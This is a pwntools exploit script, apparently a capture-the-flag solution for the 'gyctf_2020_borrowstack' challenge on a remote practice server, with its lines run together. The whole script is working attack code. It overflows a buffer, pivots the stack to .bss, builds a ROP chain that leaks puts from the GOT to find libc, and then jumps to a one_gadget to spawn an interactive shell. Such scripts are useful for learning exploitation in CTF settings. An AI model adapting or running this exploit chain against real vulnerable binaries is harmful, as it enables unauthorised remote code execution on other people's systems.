1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| from pwn import *
context(os='linux', arch='amd64', log_level='debug') path = './gyctf_2020_borrowstack'
io = remote("node4.buuoj.cn", 26449) elf = ELF(path) libc = ELF("libc-2.23.so")
padding = 0x60 + 0x8 bss = 0x601080 leave_ret = 0x400699 payload = flat(b'a' * 0x60, bss, leave_ret) delim1 = b'Tell me what you want\n' io.sendafter(delim1, payload)
pop_rdi_ret = 0x400703 ret = 0x4004c9 puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] main = elf.symbols['main']
payload1 = p64(bss + 0x90) + p64(ret) * 22 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main) delim2 = b'Done!You can check and use your borrow stack now!' io.recvuntil(delim2) io.send(payload1) io.recv() puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) print('[+] put_address', hex(puts_addr)) libc_base = puts_addr - libc.symbols['puts'] gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147] one_gadget = gadget[1] + libc_base
payload2 = flat(b'a'*padding, one_gadget) io.sendline(payload2) io.interactive()
|